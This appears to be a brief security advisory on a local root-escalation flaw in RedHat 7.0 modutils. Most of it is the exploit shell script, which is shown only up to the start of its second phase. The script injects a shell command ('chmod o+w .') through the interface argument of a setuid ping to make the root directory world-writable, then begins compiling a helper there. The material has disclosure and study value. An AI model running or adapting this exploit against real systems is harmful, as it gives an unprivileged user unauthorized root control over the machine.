The userspace kernel helper application can be used to run shell commands. This enables local users to gain root privileges by exploiting a variety of applications.
Credit:
The information has been provided by Michal Zalewski.
Immune systems:
RedHat versions prior to 7.0
SuSE versions prior to 7.0
Exploit:
#!/bin/sh
echo
echo "RedHat 7.0 modutils exploit"
echo "(c) 2000 Michal Zalewski <lcamtuf@ids.pl>"
echo "Bug discovery: Sebastian Krahmer <krahmer@cs.uni-potsdam.de>"
echo
echo "Do not have to work on older / non-RH systems. This bug has been"
echo "introduced recently. Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."
echo
PING=/bin/ping6
test -u $PING || PING=/bin/ping
if [ ! -u $PING ]; then
echo "Sorry, no setuid ping."
exit 0
fi
echo "Phase 1: making / world-writable..."
$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null
sleep 1
echo "Phase 2: compiling helper application in /..."